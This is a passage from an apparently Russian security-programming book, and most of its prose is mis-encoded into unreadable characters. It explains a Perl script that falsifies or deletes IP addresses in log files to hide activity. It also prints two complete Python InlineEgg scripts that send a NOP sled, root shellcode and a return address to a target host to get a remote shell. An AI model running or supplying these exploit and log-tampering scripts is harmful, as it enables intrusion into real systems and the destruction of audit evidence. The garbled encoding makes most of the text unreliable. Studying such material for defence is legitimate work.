Â ñòðîêå 11 äåìîíñòðèðóåòñÿ ïåðâîå èñïîëüçîâàíèå ïðî÷èòàííîãî çíà÷å-
íèÿ ôëàãà. Ñ ïîìîùüþ ôëàãà -l çàäàåòñÿ èìÿ ôàéëà ïðîòîêîëà, ïîäëåæàùåãî
ìîäèôèêàöèè. Â ïåðåìåííóþ $logfile êîïèðóåòñÿ çíà÷åíèå ïåðåìåííîé opt_l,
ñîäåðæàùåå, â ñâîþ î÷åðåäü, çíà÷åíèå ôëàãà -l.

Â ñòðîêàõ 15–18 ñöåíàðèé ïðîâåðÿåò, åñòü ëè â êîìàíäíîé ñòðîêå ôëàã -h, è
ïðè âûïîëíåíèè óñëîâèÿ ïå÷àòàåò ñîîáùåíèå î ïîðÿäêå âûçîâà.

Â ñòðîêå 21 ïðîâåðÿåòñÿ, ÷òî çàäàí ôëàã -t è îäíîâðåìåííî íå çàäàí ôëàã -
s. Ýòî îçíà÷àåò, ÷òî ïîëüçîâàòåëü íå õî÷åò ÿâíî óêàçûâàòü ïîääåëüíûé IP-
àäðåñ, à õî÷åò âìåñòî ýòîãî çàìåíèòü âñå àäðåñà â ôàéëå ñëó÷àéíûìè.

Â ñòðîêå 23 îòêðûâàåòñÿ ôàéë ïðîòîêîëà, èìÿ êîòîðîãî çàäàíî ïàðàìåò-
ðîì -l, è åãî îïèñàòåëü ñîõðàíÿåòñÿ â ïåðåìåííîé FILE.

Â ñòðîêàõ 25–31 âûïîëíÿåòñÿ öèêë äëÿ çàìåíû öåëåâîãî IP-àäðåñà ñëó÷àé-
íûì. Äëÿ ýòîãî èç ôàéëà ÷èòàåòñÿ ïî îäíîé ñòðîêå (ñòðîêà 26) è ãåíåðèðóåòñÿ
ñëó÷àéíûé àäðåñ rani p ñ ïîìîùüþ ôóíêöèè randomi p(), îïðåäåëåííîé â êîí-
öå ñöåíàðèÿ.

Â ñòðîêå 29 öåëåâîé àäðåñ, çàäàííûé ôëàãîì -t, ïîäìåíÿåòñÿ ñëó÷àéíûì àä-
ðåñîì rani p. Â ñòðîêå  30 òîëüêî  ÷òî  èçìåíåííàÿ ñòðîêà ôàéëà ïîìåùàåòñÿ âî
âðåìåííûé ìàññèâ, êîòîðûé ïîçæå áóäåò âûâåäåí. Äëÿ çàìåíû ïðèìåíÿåòñÿ
êîìàíäà s/<èñêîìàÿ_ñòðîêà>/<ñòðîêà_çàìåíû>.

Äàëåå â öèêëå îáðàáàòûâàåòñÿ ñëåäóþùàÿ ñòðîêà ôàéëà è òàê äî òåõ ïîð,
ïîêà âåñü ôàéë íå áóäåò ïðî÷èòàí. Â ñòðîêå 33 ôàéë çàêðûâàåòñÿ.

Â ñòðîêå 34 îòêðûâàåòñÿ äëÿ çàïèñè òîò æå ôàéë, êîòîðûé áûë çàäàí ôëà-
ãîì -l. Åãî îïèñàòåëü ñîõðàíÿåòñÿ â ïåðåìåííîé FILE2. Åñëè îòêðûòü ôàéë íå
óäàåòñÿ, ñöåíàðèé çàâåðøàåòñÿ ñ ñîîáùåíèåì: «Íå ìîãó îòêðûòü».
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Åñëè ôàéë óäàëîñü îòêðûòü, òî â ñòðîêå 35 âðåìåííûé ìàññèâ ñáðàñûâàåòñÿ
â ýòîò ôàéë. Ïîñëå ýòîãî ôàéë çàêðûâàåòñÿ è ìîæåò áûòü èñïîëüçîâàí äëÿ
äðóãèõ öåëåé.

Â ñòðîêå 40 ïðîâåðÿåòñÿ, ÷òî çàäàí ôëàã -s, òî åñòü ïîëüçîâàòåëü óêàçàë
ïîääåëüíûé IP-àäðåñ, êîòîðûì õî÷åò çàìåíèòü öåëåâîé àäðåñ. Åñëè ýòî òàê,
òî â ñòðîêå 42 îòêðûâàåòñÿ ôàéë ïðîòîêîëà.

Öèêë while â ñòðîêàõ 44–49 ïî÷òè íå îòëè÷àåòñÿ îò ðàññìîòðåííîãî âûøå
(ñòðîêè 25–31). Íî òåïåðü ñëó÷àéíîå ÷èñëî íå ãåíåðèðóåòñÿ, à âñå âõîæäåíèÿ
öåëåâîãî àäðåñà ïîäìåíÿþòñÿ ñòðîêîé, çàäàííîé ôëàãîì -s.

Â ñòðîêàõ 52–54 âûïîëíÿþòñÿ îïåðàöèè çàïèñè, àíàëîãè÷íûå ðàññìîòðåí-
íûì âûøå. Â ñòðîêå 51 çàêðûâàåòñÿ èñõîäíûé ôàéë. Çàòåì ñöåíàðèé ïûòàåòñÿ
îòêðûòü òîò æå ôàéë äëÿ çàïèñè è ïåðåïèñàòü åãî ñîäåðæèìîå äàííûìè, ñî-
õðàíåííûìè âî âðåìåííîì ìàññèâå. Çàòåì ôàéë çàêðûâàåòñÿ.

Â ñòðîêàõ 63–75 âñå IP-àäðåñà â ôàéëå ïîäìåíÿþòñÿ ñëó÷àéíûìè. Îïåðàöèÿ
çàìåíû âûïîëíÿåòñÿ òàê æå, êàê è âûøå.

Â ñòðîêå 65 ãåíåðèðóåòñÿ ñëó÷àéíûé IP-àäðåñ. Çàòåì (ñòðîêà 66) ïðîèçâî-
äèòñÿ ñîïîñòàâëåíèå ñ îáðàçöîì ((\d+).(\d+).(\d+).(\d+)), òî åñòü èùóòñÿ
IP-àäðåñà. Ïîñëåäîâàòåëüíîñòü \d+ ïðåäñòàâëÿåò îäíó èëè áîëåå öèôð. Â äàí-
íîì ñëó÷àå ìû èùåì öåïî÷êó öèôð, çà êîòîðîé ñëåäóåò òî÷êà, çà êîòîðîé ñëå-
äóåò åùå îäíà öåïî÷êà öèôð, è òàê ÷åòûðå ðàçà. Íàéäåííàÿ ñòðîêà ñ÷èòàåòñÿ
IP-àäðåñîì, âìåñòî êîòîðîãî ïîäñòàâëÿåòñÿ ñëó÷àéíûé àäðåñ.

Â ñòðîêàõ 71–74 ôàéë ïðîòîêîëà çàêðûâàåòñÿ, çàòåì îòêðûâàåòñÿ ñíîâà,
è â íåãî çàïèñûâàåòñÿ ñîäåðæèìîå âðåìåííîãî ìàññèâà.

Â ñòðîêå 78 ñöåíàðèé ïðîâåðÿåò, áûë ëè çàäàí ôëàã -d. Â ýòîì ñëó÷àå íåîá-
õîäèìî óäàëèòü èç ïðîòîêîëà âñå ñòðîêè, â êîòîðûõ âñòðå÷àåòñÿ óêàçàííûé
IP-àäðåñ.

Â ñòðîêå 80 ôàéë îòêðûâàåòñÿ, è â óæå çíàêîìîì öèêëå while îáðàáàòûâà-
þòñÿ âñå åãî ñòðîêè. Îñíîâíîå ðàçëè÷èå çàêëþ÷åíî â ñòðîêàõ 85–88. Åñëè
â ñòðîêå âñòðå÷àåòñÿ óêàçàííûé IP-àäðåñ, òî îíà íå çàïèñûâàåòñÿ âî âðåìåí-
íûé ìàññèâ. Òàêèì îáðàçîì, âî âðåìåííîì ìàññèâå îêàæóòñÿ òîëüêî ñòðîêè,
íå ñîäåðæàùèå ýòîãî àäðåñà.

Çàòåì â ñòðîêàõ 95–98 âìåñòî ñòàðîãî ôàéëà ïðîòîêîëà çàïèñûâàåòñÿ
íîâûé.

Â ñòðîêàõ 102–117 îïðåäåëåíà ôóíêöèÿ usage(), êîòîðàÿ âûâîäèò ñîîáùå-
íèå î ïîðÿäêå çàïóñêà ñöåíàðèÿ. Ýòà ôóíêöèÿ âûçûâàåòñÿ â ñëó÷àå, åñëè çàäàí
ôëàã -h, à òàêæå òîãäà, êîãäà óêàçàííûå â êîìàíäíîé ñòðîêå ïàðàìåòðû íåêîð-
ðåêòíû.

Â ñòðîêàõ 118–135 îïðåäåëåíû ôóíêöèè randomi p() è num(). Îíè íóæíû
äëÿ ãåíåðàöèè ñëó÷àéíûõ IP-àäðåñîâ è èñïîëüçóþòñÿ â ðàçíûõ ìåñòàõ ñöåíà-
ðèÿ Logz. Ôóíêöèÿ num() ïîðîæäàåò ñëó÷àéíîå ÷èñëî â äèàïàçîíå îò 11 äî
241 (ñòðîêà 133). Ôóíêöèÿ randomi p() âûçûâàåò num() ÷åòûðå  ðàçà äëÿ ïîëó÷å-

Язык Perl
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íèÿ ÷åòûðåõ îêòåòîâ IP-àäðåñà. Ïîñëå òîãî êàê âñå ÷åòûðå îêòåòà ïîëó÷åíû
(ñòðîêè 122–125), èç íèõ â ïåðåìåííîé $total ôîðìèðóåòñÿ ïîëíûé IP-àäðåñ
(ñòðîêà 127), êîòîðûé è âîçâðàùàåòñÿ âûçûâàþùåé ôóíêöèè.

Язык Python
ßçûê Python ïðèäóìàë Ãâèäî âàí Ðîññóì (Guido Van Rossum) â 1990 ãîäó. Åãî
ïåðâàÿ «îôèöèàëüíàÿ» âåðñèÿ áûëà îïóáëèêîâàíà â 1991 ãîäó. Â íàçâàíèè ÿçû-
êà íàøëî îòðàæåíèå óâëå÷åíèå âàí Ðîññóìà ôèëüìàìè Ìîíòè Ïèòîíà. Ïîíà-
÷àëó Python íå ïîëó÷èë òàêîé æå ìîùíîé ïîääåðæêè, êàê Perl. Íî ñî âðåìå-
íåì ÷èñëî åãî ïðèâåðæåíöåâ ðîñëî, à â 1994 ãîäó â ñåòè Usenet áûëà ñîçäàíà
êîíôåðåíöèÿ comp.lang.python. Â îòëè÷èå îò ëèöåíçèè GNU, Python ñ ñàìîãî
íà÷àëà âûïóñêàëñÿ íà óñëîâèÿõ ïîëíîé è áåçóñëîâíîé áåñïëàòíîñòè, äëÿ íåãî
íå ñóùåñòâîâàëî íèêàêèõ ëèöåíçèé.

Êàê è ëþáîé äðóãîé ÿçûê ñöåíàðèåâ, Python ñòàâèë ïåðåä ñîáîé çàäà÷ó óñ-
êîðèòü ðàçðàáîòêó ïðèëîæåíèé. Áóäó÷è èíòåðïðåòèðóåìûì ÿçûêîì, Python
íóæäàåòñÿ â èíòåðïðåòàòîðå äëÿ âûïîëíåíèÿ ñöåíàðèåâ. Íà äàííûé ìîìåíò
ñóùåñòâóåò äâà òàêèõ èíòåðïðåòàòîðà. Ïîëó÷èòü èñ÷åðïûâàþùóþ èíôîðìà-
öèþ îá îáîèõ è çàãðóçèòü ïðîãðàììó ìîæíî ñî ñëåäóþùèõ ñàéòîâ:

� www.python.org;
� www.activestate.com.

Ñöåíàðèè, íàïèñàííûå íà ÿçûêå Python, ìîæíî èñïîëíÿòü âî ìíîãèõ îïå-
ðàöèîííûõ ñèñòåìàõ, â òîì ÷èñëå Microsoft Windows è ìíîãî÷èñëåííûõ âà-
ðèàöèÿõ UNIX, Linux è Mac.

Python – ýòî îáúåêòíî-îðèåíòèðîâàííûé ÿçûê, ïîçâîëÿþùèé ñîçäàâàòü
êëàññû, îáúåêòû è ìåòîäû. Îí ëåãêî âñòðàèâàåòñÿ â äðóãèå ÿçûêè è ðàñøèðÿ-
åòñÿ çà ñ÷åò ìîäóëåé, íàïèñàííûõ íà äðóãèõ ÿçûêàõ. Â öåëîì Python – ýòî èñ-
êëþ÷èòåëüíî ìîùíûé ÿçûê, êîòîðûé âçÿëè íà âîîðóæåíèå òàêèå êîìïàíèè,
êàê  Information Security, Bioinformatics è Appl ied Mathematics. Ñâîåé ïîïóëÿð-
íîñòüþ îí îáÿçàí ïðîñòîìó èíòåðôåéñó äëÿ ïðèêëàäíûõ ïðîãðàìì (API), âîç-
ìîæíîñòüþ ïðîãðàììèðîâàòü íà íèçêîì óðîâíå è óäà÷íîìó èíòåðôåéñó
ê ñîêåòàì.

Пакет InlineEgg

Ïàêåò Inl ineEgg ñîçäàí èññëåäîâàòåëüñêîé ãðóïïîé CORE SDI. Ýòîò äèíàìè÷-
íûé è ðàñøèðÿåìûé êàðêàñ äëÿ ñîçäàíèÿ «ýêñïëîéòîâ» âõîäèò â ëèíåéêó åå
ïðîäóêòîâ. Ïàêåò ìîæåò ñîçäàâàòü shell-êîä äëÿ ìíîãèõ ñèñòåìíûõ âûçîâîâ íà
ðàçëè÷íûõ ïëàòôîðìàõ è âíåäðÿòü åãî ñ ïîìîùüþ Python-ñöåíàðèåâ. ×åñò-
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íî ãîâîðÿ, CORE SDI ñîçäàëà ëó÷øèé èíñòðóìåíò äëÿ ñîçäàíèÿ shell-êîäà èç
èìåþùèõñÿ íà ðûíêå. Ïðèìåð 1.30 çàèìñòâîâàí èç äîêóìåíòàöèè ê ïàêåòó
Inl ineEgg è ïðèçâàí ïîêàçàòü, êàê  ýôôåêòèâíî  ìîæíî  ïðèìåíÿòü Python
â êîììåð÷åñêèõ ïðèëîæåíèÿõ.

Пример 1.30. Пример 1.30. Пример 1.30. Пример 1.30. Пример 1.30. Использование пакета InlineEgg
 1 from inlineegg.inlineegg import *

 2 import socket

 3 import struct

 4 import sys

 5
 6 def stdinShellEgg():

 7 #  egg = InlineEgg(FreeBSDx86Syscall)

 8 #  egg = InlineEgg(OpenBSDx86Syscall)

 9    egg = InlineEgg(Linuxx86Syscall)

10
11    egg.setuid(0)

12    egg.setgid(0)

13    egg.execve('/bin/sh',('bash','-i'))

14
15    print "Egg len: %d" % len(egg)

16    return egg

17
18 def main():

19    if len(sys.argv) < 3:

20       raise Exception, "Usage: %s <target ip> <target port>"

21
22    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

23    sock.connect((sys.argv[1], int(sys.argv[2])))

24
25    egg = stdinShellEgg()

Примечание

Быстро набирает популярность в области безопасности инструмен�
тальная программа CANVAS, написанная Дейвом Эйтелом (Dave Aitel).
В качестве интерпретатора для сценариев содержащихся в ней «экс�
плойтов» используется Python. CANVAS – это набор «эксплойтов»,
который вы можете выполнить, чтобы оценить степень защищенно�
сти своей системы. Информацию об этой программе и ее исходный
текст можно найти на сайте www.immunitysec.com. CANVAS постав�
ляется с исходным текстом, если вы купите хотя бы одну пользова�
тельскую лицензию.

Язык Python
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26
27    retAddr = struct.pack('<L',0xbffffc24L)

28    toSend  = "\x90"*(1024-len(egg))

29    toSend += egg.getCode()

30    toSend += retAddr*20

31
32    sock.send(toSend)

33
34 main()

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå  1 èç ôàéëà inl ineegg èìïîðòèðóåòñÿ êëàññ inl ineegg, íåîáõîäèìûé äëÿ
ðàáîòû ñöåíàðèÿ.

Â ñòðîêàõ 2–4 èìïîðòèðóþòñÿ äðóãèå ñòàíäàðòíûå êëàññû Python.
Â ñòðîêàõ 6–16 ïîñðåäñòâîì ýòèõ êëàññîâ ñîçäàåòñÿ ôóíêöèÿ, êîòîðàÿ ãåíå-

ðèðóåò âíåäðÿåìûé êîä (ÿéöî – egg). Â ñòðîêå 16 ñãåíåðèðîâàííîå «ÿéöî»
âîçâðàùàåòñÿ âûçûâàþùåé ïðîãðàììå. Â ñòðîêàõ 7–9 äëÿ ñîçäàíèÿ «ÿéöà»
âûçûâàþòñÿ ìåòîäû êëàññà inl ineegg, èìïîðòèðîâàííîãî  â ñòðîêå  1. Â ñòðîêàõ
11 è 12 äëÿ «ÿéöà» óñòàíàâëèâàþòñÿ èäåíòèôèêàòîðû ïîëüçîâàòåëÿ è ãðóïïû,
à â ñòðîêå 13 ãîâîðèòñÿ, êàêóþ ïðîãðàììó «ÿéöî» äîëæíî âûçâàòü.

Â ñòðîêàõ 19 è 20 ïðîâåðÿåòñÿ, ÷òî ïåðåäàíî ïðàâèëüíîå ÷èñëî ïàðàìåò-
ðîâ. Îòìåòèì, ÷òî êîððåêòíîñòü çàäàííûõ ïàðàìåòðîâ íå ïðîâåðÿåòñÿ.

Â ñòðîêàõ 22 è 23 ñîçäàåòñÿ ñîêåò è ïðîèñõîäèò ñîåäèíåíèå ñ óêàçàííûì
â êîìàíäíîé ñòðîêå IP-àäðåñîì è ïîðòîì.

Â ñòðîêå 25 ñîçäàåòñÿ «ÿéöî», êîòîðîå ìû îòïðàâèì óäàëåííîé ñèñòåìå-
æåðòâå.

Â ñòðîêàõ 27–30 ñîçäàåòñÿ ñîäåðæàùèé «ÿéöî» ïàêåò, êîòîðûé ïîñûëàåòñÿ
öåëåâîé ñèñòåìå. Â ñòðîêå 28 óêàçàíî, êàêèì ñèìâîëîì íóæíî çàïîëíèòü íå
çàíÿòûå «ÿéöîì» áàéòû ïàêåòà. Â äàííîì ñëó÷àå ýòî ñèìâîë ñ 16-ðè÷íûì êî-
äîì \x90.

Â ñòðîêå 32 ïàêåò âûâîäèòñÿ â ñîêåò, à â ñòðîêå 34 âûçûâàåòñÿ ôóíêöèÿ
main, êîòîðàÿ è çàïóñêàåò ñöåíàðèé.

Äàâ íåêîòîðîå  ïðåäñòàâëåíèå  îá API ïàêåòà Inl ineEgg, ïåðåéäåì ê  ÷óòü áî-
ëåå ñëîæíîìó ïðèìåðó. Â ïðèìåðå 1.31 ñ ïîìîùüþ êîìáèíàöèè ðàçëè÷íûõ
ìåòîäîâ shell-êîä ãåíåðèðóåò öèêë.

Пример 1.31.Пример 1.31.Пример 1.31.Пример 1.31.Пример 1.31. Использование пакета InlineEgg II
1 from inlineegg.inlineegg import *

2 import socket

3 import struct

4 import sys

5
6 def reuseConnectionShellEgg():
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 7 #   egg = InlineEgg(FreeBSDx86Syscall)

 8 #   egg = InlineEgg(OpenBSDx86Syscall)

 9     egg = InlineEgg(Linuxx86Syscall)

10
11    # s = egg.socket(2,1)

12    # egg.connect(s,('127.0.0.1',3334))

13
14    sock = egg.save(-1)

15
16    # Íà÷àëî öèêëà

17    loop = egg.Do()

18    loop.addCode(loop.micro.inc(sock))

19    lenp = loop.save(0)

20    err = loop.getpeername(sock,0,lenp.addr())

21    loop.While(err, '!=', 0)

22
23    # Äóáëèðîâàíèå ñòàíäàðòíûõ äåñêðèïòîðîâ è âûçîâ exec

24    egg.dup2(sock, 0)

25    egg.dup2(sock, 1)

26    egg.dup2(sock, 2)

27    egg.execve('/bin/sh',('bash','-i'))

28    print "Egg len: %d" % len(egg)

29    return egg

30
31 def main():

32    if len(sys.argv) < 3:

33       raise Exception, "Usage: %s <target ip> <target port>"

34
35    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

36    sock.connect((sys.argv[1], int(sys.argv[2])))

37
38    egg = reuseConnectionShellEgg()

39
40    retAddr = struct.pack('<L',0xbffffc24L)

41    toSend  = "\x90"*(1024-len(egg))

42    toSend += egg.getCode()

43    toSend += retAddr*20

44
45    sock.send(toSend)

46
47 main()

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå  1 èç ôàéëà inl ineegg èìïîðòèðóåòñÿ êëàññ inl ineegg, íåîáõîäèìûé äëÿ
ðàáîòû ñöåíàðèÿ.

Â ñòðîêàõ 2–4 èìïîðòèðóþòñÿ äðóãèå ñòàíäàðòíûå êëàññû Python.
Â ñòðîêàõ 7–9 äëÿ ñîçäàíèÿ «ÿéöà» âûçûâàþòñÿ ìåòîäà êëàññà inl ineegg.

Язык Python
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Ñòðîêè 11 è 12 âêëþ÷åíû òîëüêî äëÿ òåñòèðîâàíèÿ íà ëîêàëüíîé ñèñòåìå.
Åñëè èõ «ðàñêîììåíòàðèòü», òî ñöåíàðèé ïîïûòàåòñÿ ñîåäèíèòüñÿ ñ âîçâðàò-
íûì àäðåñîì è ïîðòîì 3334.

Â ñòðîêå 14 â ñòåêå ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ íóëåì ïåðåìåííàÿ, îíà
ïðèãîäèòñÿ ïîçæå âî âðåìÿ ñêàíèðîâàíèÿ â ïîèñêàõ ïîäõîäÿùåãî ñîêåòà.

Â ñòðîêàõ 17–21 ñîçäàåòñÿ öèêë, êîòîðûé áóäåò èñêàòü ñîêåò (ñòðîêà 17),
à òàêæå îïðåäåëÿåòñÿ êîä, ïîäëåæàùèé âûïîëíåíèþ ïîñëå òîãî, êàê íóæíûé
ñîêåò áóäåò íàéäåí (ñòðîêà 18), èíèöèàëèçèðóåòñÿ ïðàâèëüíûé êîä îøèáêè
(ñòðîêà 20) è, íàêîíåö, öèêë çàïóñêàåòñÿ (ñòðîêà 21).

Â ñòðîêàõ 24–29 çàäàåòñÿ, êàêèå ñèñòåìíûå âûçîâû íóæíî äîáàâèòü
ê «ÿéöó». Â ñòðîêå 28 äëèíà «ÿéöà» ðàñïå÷àòûâàåòñÿ, à â ñòðîêå 29 «ÿéöî» âîç-
âðàùàåòñÿ âûçûâàþùåé ïðîãðàììå.

Â ñòðîêàõ 31–33 ïðîâåðÿåòñÿ, ÷òî ïåðåäàíî ïðàâèëüíîå ÷èñëî ïàðàìåò-
ðîâ. Îòìåòèì, ÷òî êîððåêòíîñòü çàäàííûõ ïàðàìåòðîâ íå ïðîâåðÿåòñÿ.

Â ñòðîêàõ 35 è 36 ñîçäàåòñÿ ñîêåò è ïðîèñõîäèò ñîåäèíåíèå ñ óêàçàííûì
â êîìàíäíîé ñòðîêå IP-àäðåñîì è ïîðòîì.

Â ñòðîêå 38 ñîçäàåòñÿ «ÿéöî», êîòîðîå ìû îòïðàâèì óäàëåííîé ñèñòåìå-
æåðòâå.

Â ñòðîêàõ 41–43 ñîçäàåòñÿ ñîäåðæàùèé «ÿéöî» ïàêåò, êîòîðûé ïîñûëàåòñÿ
öåëåâîé ñèñòåìå. Â ñòðîêå 28 óêàçàíî, êàêèì ñèìâîëîì íóæíî çàïîëíèòü íå-
çàíÿòûå «ÿéöîì» áàéòû ïàêåòà. Â äàííîì ñëó÷àå ýòî ñèìâîë ñ 16-ðè÷íûì êî-
äîì \x90.

Â ñòðîêå 45 ïàêåò âûâîäèòñÿ â ñîêåò, à â ñòðîêå 47 âûçûâàåòñÿ ôóíêöèÿ
main, êîòîðàÿ è çàïóñêàåò ñöåíàðèé.

Примечание

Подробнее о системных вызовах, которые упомянуты в этих двух
сценариях, см. главу 8 «Написание переносимого сетевого кода» и
главу 9 «Методы создания shell�кода».
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Резюме
Äëÿ ïîèñêà óÿçâèìîñòåé è íàïèñàíèÿ «ýêñïëîéòîâ» íåîáõîäèìî õîðîøî ïî-
íèìàòü èñïîëüçóåìûé ÿçûê ïðîãðàììèðîâàíèÿ. Ïðîãðàììèñò, ïûòàþùèéñÿ
ýêñïëóàòèðîâàòü ïåðåïîëíåíèå áóôåðà â ïðîãðàììå, íàïèñàííîé íà Java,
òîëüêî çðÿ ïîòðàòèò âðåìÿ. Òî÷íî òàê æå, äëÿ ñîñòàâëåíèÿ shell-êîäà íóæíî
ïîíèìàòü, êàê ÿçûê ïðîãðàììèðîâàíèÿ âçàèìîäåéñòâóåò ñ îïåðàöèîííîé
ñèñòåìîé. Â äàííîé ãëàâå îïèñàíû õàðàêòåðèñòèêè ÷åòûðåõ ðàñïðîñòðàíåí-
íûõ ÿçûêîâ.

Ó êàæäîãî èç ýòèõ ÿçûêîâ åñòü ñèëüíûå è ñëàáûå ñòîðîíû. Âî âñåõ ÷åòû-
ðåõ ðåàëèçîâàíû òèïû äàííûõ è îñíîâíûå ïðîãðàììíûå êîíñòðóêöèè,
ê ïðèìåðó, öèêëû è ôóíêöèè. Õîòÿ ÿçûêó C óæå íåñêîëüêî äåñÿòêîâ ëåò, îí
âñå åùå îñòàåòñÿ ïîëåçíûì. Ýòîò ïðîñòîé è ýôôåêòèâíûé ÿçûê ïðèãîäåí äëÿ
ñîçäàíèÿ î÷åíü ìîùíûõ ïðîãðàìì. Ïîýòîìó íà íåì ÷àñòî ïèøóò «ýêñïëîé-
òû» äëÿ íàéäåííûõ óÿçâèìîñòåé, ðàâíî êàê è ïðîãðàììû, ïðåäíàçíà÷åííûå
äëÿ ðàáîòû â ÎÑ UNIX. Áîëåå íîâûå ÿçûêè, íàïðèìåð, Java è C# (âõîäÿùèé
â ñîñòàâ êàðêàñà .NET) îáåñïå÷èâàþò áîëüøóþ ïåðåíîñèìîñòü è áåçîïàñ-
íîñòü. Äàííûå è ìåòîäû êëàññîâ ìîæíî äåëàòü «çàêðûòûìè», ÷òî ñïîñîá-
ñòâóåò ëó÷øåé çàùèòå èíôîðìàöèè. Àâòîìàòè÷åñêàÿ ñáîðêà ìóñîðà çàùèùà-
åò îò îøèáîê êîäèðîâàíèÿ è óòå÷åê ïàìÿòè. Òàêèì îáðàçîì, ñàì ÿçûê ìîæåò
èñêëþ÷èòü öåëûå êëàññû óÿçâèìîñòåé. Ìåõàíèçì àâòîìàòè÷åñêîãî êîíòðîëÿ
âûõîäà çà ãðàíèöû ìàññèâîâ â Java è C# äåëàåò íåâîçìîæíûì ïåðåïîëíåíèå
ñòåêà è êó÷è.

Õîòÿ ýòî è øàã â ïðàâèëüíîì íàïðàâëåíèè, íî íè îäèí ÿçûê íå â ñîñòîÿ-
íèè ãàðàíòèðîâàòü áåçîïàñíîñòü ëþáîé íàïèñàííîé íà íåì ïðîãðàììû. Ðàç-
ðàáîò÷èêè Web-ïðèëîæåíèé ïî-ïðåæíåìó äîëæíû êîíòðîëèðîâàòü âõîäíóþ
èíôîðìàöèþ è îòôèëüòðîâûâàòü íåíóæíûå ñèìâîëû. Ïðè äîñòóïå èç ïðè-
ëîæåíèÿ ê áàçå äàííûõ íóæíî ñëåäèòü çà òåì, ÷òîáû íåëüçÿ áûëî èçâíå âíå-
äðèòü êîìàíäû íà ÿçûêå SQL.

Perl è Python – ìîùíûå, ïîïóëÿðíûå è ïîëåçíûå ÿçûêè ñöåíàðèåâ. Â ÷èñëå
äðóãèõ ðàñïðîñòðàíåííûõ ÿçûêîâ òàêîãî ðîäà ìîæíî íàçâàòü Ruby, UNIX C/
Korn/Bourne Shell, VBScri pt è SQL. Ó ÿçûêà ñöåíàðèåâ ìíîãî  ïðåèìóùåñòâ ïå-
ðåä êîìïèëèðóåìûì ÿçûêîì ïðîãðàììèðîâàíèÿ, íî â êà÷åñòâå îñíîâíûõ
îáû÷íî íàçûâàþò ñêîðîñòü ðàçðàáîòêè è ïðîñòîòó. Â îáùåì è öåëîì, ðàçðà-
áàòûâàòü ñöåíàðèè íà òàêèõ ÿçûêàõ ãîðàçäî áûñòðåå, ïîñêîëüêó èíòåðïðåòà-
òîð îáëàäàåò ðÿäîì äîñòîèíñòâ, îòñóòñòâóþùèõ ó êîìïèëÿòîðîâ. Ðàáîòà ñî
ñòðîêàìè è ñîêåòàìè – âîò äâà îñîáåííî ïîïóëÿðíûõ ñðåäñòâà â ÿçûêàõ Perl è
Python. Íåîáõîäèìîñòü â ìåõàíèçìàõ ñîïîñòàâëåíèÿ ñòðîê ñ îáðàçöîì è íå-
òðèâèàëüíûõ ìàíèïóëÿöèÿõ ñî ñòðîêàìè îáóñëîâèëà âêëþ÷åíèå ðàçâèòûõ
ñðåäñòâ ðàáîòû ñ ðåãóëÿðíûìè âûðàæåíèÿìè â íàèáîëåå ïðîäâèíóòûõ ÿçû-
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êàõ ñöåíàðèåâ. Îíè ïîçâîëÿþò ñîçäàâàòü ïðîãðàììû äëÿ àíàëèçà áîëüøèõ
îáúåìîâ äàííûõ ñ öåëüþ ãåíåðèðîâàíèÿ îò÷åòîâ ïî íèì.

ßçûêè ñöåíàðèåâ ïîçâîëÿþò â êîðîòêèå ñðîêè àâòîìàòèçèðîâàòü ðåøåíèå
ðóòèííûõ ïîâòîðÿþùèõñÿ çàäà÷. Âñÿêèé ðàç, êàê íåêàÿ çàäà÷à ðåøàåòñÿ ÷àùå
ðàçà â äåíü, ïîäóìàéòå, íåëüçÿ ëè åå àâòîìàòèçèðîâàòü ñ ïîìîùüþ ïîäõîäÿ-
ùåãî ñöåíàðèÿ; âîçìîæíî, ÷òî âû çàõîòèòå äàæå âêëþ÷èòü â òàêîé ñöåíàðèé
çàïóñê ïî ðàñïèñàíèþ.
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Обзор изложенного материала
C/C++C/C++C/C++C/C++C/C++

� C è C++ – ýòî êîìïèëèðóåìûå ÿçûêè ïðîãðàììèðîâàíèÿ, â íàñòîÿùåå
âðåìÿ îíè çàíèìàþò äîìèíèðóþùåå ïîëîæåíèå ñ òî÷êè çðåíèÿ êàê
ïîïóëÿðíîñòè, òàê è îáúåìà íàïèñàííîãî êîäà.

� Íà C íàïèñàíû ïî÷òè âñå äîñòóïíûå äëÿ øèðîêîé ïóáëèêè «ýêñïëîé-
òû» è ïðîãðàììû ñêàíèðîâàíèÿ ñåòåé, âêëþ÷àÿ NMAP (Network Messag-
ing Appl ication Protocol) è Nessus. Ñ äðóãîé ñòîðîíû, è óÿçâèìîñòè ÷àùå
âñåãî âñòðå÷àþòñÿ â ïðîãðàììàõ íà ýòîì ÿçûêå.

JavaJavaJavaJavaJava
� ßçûê Java ïîääåðæèâàåò ìíîãîïîòî÷íîñòü, òî åñòü ïðîãðàììà ìîæåò

ðåøàòü íåñêîëüêî çàäà÷ îäíîâðåìåííî. Ýòó âîçìîæíîñòü îáåñïå÷èâàåò
êëàññ Thread èç ïàêåòà java.lang.

� Îáúåêòû (ýêçåìïëÿðû êëàññà) ìîãóò ñîäåðæàòü äàííûå, íå ïîäëåæà-
ùèå èçìåíåíèþ èç âíåøíåé ïðîãðàììû. Äëÿ òàêîãî «ñîêðûòèÿ äàí-
íûõ» ïðîãðàììèñò ìîæåò âîñïîëüçîâàòüñÿ êëþ÷åâûì ñëîâîì «private».

C#C#C#C#C#
� ßçûê C# îáëàäàåò ðÿäîì ñâîéñòâ, êîòîðûå äåëàþò åãî ïðèâëåêàòåëü-

íûì êàê äëÿ ñïåöèàëèñòà ïî áåçîïàñíîñòè, òàê è äëÿ õàêåðà. Ïîýòîìó
îí ñòðåìèòåëüíî íàáèðàåò ïîïóëÿðíîñòü. Ïðèíÿòàÿ â íåì ìîäåëü «ïå-
ñî÷íèöû» è îãðàíè÷åíèÿ íà èñïîëíÿåìûé êîä íàïîìèíàþò àíàëîãè÷-
íûå ñðåäñòâà â ÿçûêå Java.

PerlPerlPerlPerlPerl
� Åñëè ñóäèòü ïî ÷èñëó íàïèñàííûõ íà Perl ïðîãðàìì, òî ýòî îäèí èç ñà-

